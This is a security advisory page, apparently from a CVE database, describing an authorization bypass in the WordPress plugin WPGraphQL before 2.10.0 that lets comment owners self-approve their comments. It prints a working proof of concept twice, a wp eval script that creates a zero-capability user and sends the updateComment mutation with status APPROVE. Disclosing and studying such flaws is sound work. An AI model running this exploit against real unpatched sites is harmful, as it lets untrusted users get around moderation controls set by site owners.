Security Vulnerability Report
中文
CVE-2026-33290 CVSS 4.3 MEDIUM

CVE-2026-33290

Published: 2026-03-24 01:17:02
Last Modified: 2026-04-16 14:46:24

Description

WPGraphQL provides a GraphQL API for WordPress sites. Prior to version 2.10.0, an authorization flaw in updateComment allows an authenticated low-privileged user (including a custom role with zero capabilities) to change moderation status of their own comment (for example to APPROVE) without the moderate_comments capability. This can bypass moderation workflows and let untrusted users self-approve content. Version 2.10.0 contains a patch. ### Details In WPGraphQL 2.9.1 (tested), authorization for updateComment is owner-based, not field-based: - plugins/wp-graphql/src/Mutation/CommentUpdate.php:92 allows moderators. - plugins/wp-graphql/src/Mutation/CommentUpdate.php:99:99 also allows the comment owner, even if they lack moderation capability. - plugins/wp-graphql/src/Data/CommentMutation.php:94:94 maps GraphQL input status directly to WordPress comment_approved. - plugins/wp-graphql/src/Mutation/CommentUpdate.php:120:120 persists that value via wp_update_comment. - plugins/wp-graphql/src/Type/Enum/CommentStatusEnum.php:22:22 exposes moderation states (APPROVE, HOLD, SPAM, TRASH). This means a non-moderator owner can submit status during update and transition moderation state. ### PoC Tested in local wp-env (Docker) with WPGraphQL 2.9.1. 1. Start environment: npm install npm run wp-env start 2. Run this PoC: ``` npm run wp-env run cli -- wp eval ' add_role("no_caps","No Caps",[]); $user_id = username_exists("poc_nocaps"); if ( ! $user_id ) { $user_id = wp_create_user("poc_nocaps","Passw0rd!","[email protected]"); } $user = get_user_by("id",$user_id); $user->set_role("no_caps"); $post_id = wp_insert_post([ "post_title" => "PoC post", "post_status" => "publish", "post_type" => "post", "comment_status" => "open", ]); $comment_id = wp_insert_comment([ "comment_post_ID" => $post_id, "comment_content" => "pending comment", "user_id" => $user_id, "comment_author" => $user->display_name, "comment_author_email" => $user->user_email, "comment_approved" => "0", ]); wp_set_current_user($user_id); $result = graphql([ "query" => "mutation U(\$id:ID!){ updateComment(input:{id:\$id,status:APPROVE}){ success comment{ databaseId status } } }", "variables" => [ "id" => (string)$comment_id ], ]); echo wp_json_encode([ "role_caps" => array_keys(array_filter((array)$user->allcaps)), "status" => $result["data"]["updateComment"]["comment"]["status"] ?? null, "db_comment_approved" => get_comment($comment_id)->comment_approved ?? null, "comment_id" => $comment_id ]); ' ``` 3. Observe result: - role_caps is empty (or no moderate_comments) - mutation returns status: APPROVE - DB value becomes comment_approved = 1 ### Impact This is an authorization bypass / broken access control issue in comment moderation state transitions. Any deployment using WPGraphQL comment mutations where low-privileged users can make comments is impacted. Moderation policy can be bypassed by self-approving content.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

WPGraphQL < 2.10.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
npm run wp-env run cli -- wp eval ' add_role("no_caps","No Caps",[]); $user_id = username_exists("poc_nocaps"); if ( ! $user_id ) { $user_id = wp_create_user("poc_nocaps","Passw0rd!","[email protected]"); } $user = get_user_by("id",$user_id); $user->set_role("no_caps"); $post_id = wp_insert_post([ "post_title" => "PoC post", "post_status" => "publish", "post_type" => "post", "comment_status" => "open", ]); $comment_id = wp_insert_comment([ "comment_post_ID" => $post_id, "comment_content" => "pending comment", "user_id" => $user_id, "comment_author" => $user->display_name, "comment_author_email" => $user->user_email, "comment_approved" => "0", ]); wp_set_current_user($user_id); $result = graphql([ "query" => "mutation U(\$id:ID!){ updateComment(input:{id:\$id,status:APPROVE}){ success comment{ databaseId status } } }", "variables" => [ "id" => (string)$comment_id ], ]); echo wp_json_encode([ "role_caps" => array_keys(array_filter((array)$user->allcaps)), "status" => $result["data"]["updateComment"]["comment"]["status"] ?? null, "db_comment_approved" => get_comment($comment_id)->comment_approved ?? null, "comment_id" => $comment_id ]); '

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-33290", "sourceIdentifier": "[email protected]", "published": "2026-03-24T01:17:01.677", "lastModified": "2026-04-16T14:46:24.290", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "WPGraphQL provides a GraphQL API for WordPress sites. Prior to version 2.10.0, an authorization flaw in updateComment allows an authenticated low-privileged user (including a custom role with zero capabilities) to change moderation status of their own comment (for example to APPROVE) without the moderate_comments capability. This can bypass moderation workflows and let untrusted users self-approve content. Version 2.10.0 contains a patch.\n\n### Details\n\nIn WPGraphQL 2.9.1 (tested), authorization for updateComment is owner-based, not field-based:\n\n- plugins/wp-graphql/src/Mutation/CommentUpdate.php:92 allows moderators.\n- plugins/wp-graphql/src/Mutation/CommentUpdate.php:99:99 also allows the comment owner, even if they lack moderation capability.\n- plugins/wp-graphql/src/Data/CommentMutation.php:94:94 maps GraphQL input status directly to WordPress comment_approved.\n- plugins/wp-graphql/src/Mutation/CommentUpdate.php:120:120 persists that value via wp_update_comment.\n- plugins/wp-graphql/src/Type/Enum/CommentStatusEnum.php:22:22 exposes moderation states (APPROVE, HOLD, SPAM, TRASH).\n\nThis means a non-moderator owner can submit status during update and transition moderation state.\n\n### PoC\n\nTested in local wp-env (Docker) with WPGraphQL 2.9.1.\n\n1. Start environment:\n\n npm install\n npm run wp-env start\n\n2. Run this PoC:\n\n```\n npm run wp-env run cli -- wp eval '\n add_role(\"no_caps\",\"No Caps\",[]);\n $user_id = username_exists(\"poc_nocaps\");\n if ( ! $user_id ) {\n $user_id = wp_create_user(\"poc_nocaps\",\"Passw0rd!\",\"[email protected]\");\n }\n $user = get_user_by(\"id\",$user_id);\n $user->set_role(\"no_caps\");\n\n $post_id = wp_insert_post([\n \"post_title\" => \"PoC post\",\n \"post_status\" => \"publish\",\n \"post_type\" => \"post\",\n \"comment_status\" => \"open\",\n ]);\n\n $comment_id = wp_insert_comment([\n \"comment_post_ID\" => $post_id,\n \"comment_content\" => \"pending comment\",\n \"user_id\" => $user_id,\n \"comment_author\" => $user->display_name,\n \"comment_author_email\" => $user->user_email,\n \"comment_approved\" => \"0\",\n ]);\n\n wp_set_current_user($user_id);\n\n $result = graphql([\n \"query\" => \"mutation U(\\$id:ID!){ updateComment(input:{id:\\$id,status:APPROVE}){ success comment{ databaseId status } } }\",\n \"variables\" => [ \"id\" => (string)$comment_id ],\n ]);\n\n echo wp_json_encode([\n \"role_caps\" => array_keys(array_filter((array)$user->allcaps)),\n \"status\" => $result[\"data\"][\"updateComment\"][\"comment\"][\"status\"] ?? null,\n \"db_comment_approved\" => get_comment($comment_id)->comment_approved ?? null,\n \"comment_id\" => $comment_id\n ]);\n '\n```\n\n3. Observe result:\n\n- role_caps is empty (or no moderate_comments)\n- mutation returns status: APPROVE\n- DB value becomes comment_approved = 1\n\n### Impact\n\nThis is an authorization bypass / broken access control issue in comment moderation state transitions. Any deployment using WPGraphQL comment mutations where low-privileged users can make comments is impacted. Moderation policy can be bypassed by self-approving content."}, {"lang": "es", "value": "WPGraphQL proporciona una API GraphQL para sitios de WordPress. Antes de la versión 2.10.0, una falla de autorización en updateComment permite a un usuario autenticado con bajos privilegios (incluyendo un rol personalizado con cero capacidades) cambiar el estado de moderación de su propio comentario (por ejemplo, a APROBAR) sin la capacidad moderate_comments. Esto puede eludir los flujos de trabajo de moderación y permitir que usuarios no confiables autoaprueben contenido. La versión 2.10.0 contiene un parche.\n\n### Detalles\n\nEn WPGraphQL 2.9.1 (probado), la autorización para updateComment se basa en el propietario, no en el campo:\n\n- plugins/wp-graphql/src/Mutation/CommentUpdate.php:92 permite a los moderadores.\n- plugins/wp-graphql/src/Mutation/CommentUpdate.php:99:99 también permite al propietario del comentario, incluso si carece de la capacidad de moderación.\n- plugins/wp-graphql/src/Data/CommentMutation.php:94:94 mapea el estado de entrada de GraphQL directamente a comment_approved de WordPress.\n- plugins/wp-graphql/src/Mutation/CommentUpdate.php:120:120 persiste ese valor a través de wp_update_comment.\n- plugins/wp-graphql/src/Type/Enum/CommentStatusEnum.php:22:22 expone los estados de moderación (APROBAR, EN ESPERA, CORREO NO DESEADO, PAPELERA).\n\nEsto significa que un propietario no moderador puede enviar el estado durante la actualización y hacer la transición del estado de moderación.\n\n### PoC\n\nProbado en wp-env local (Docker) con WPGraphQL 2.9.1.\n\n1. Iniciar entorno:\n\n n ... (truncated)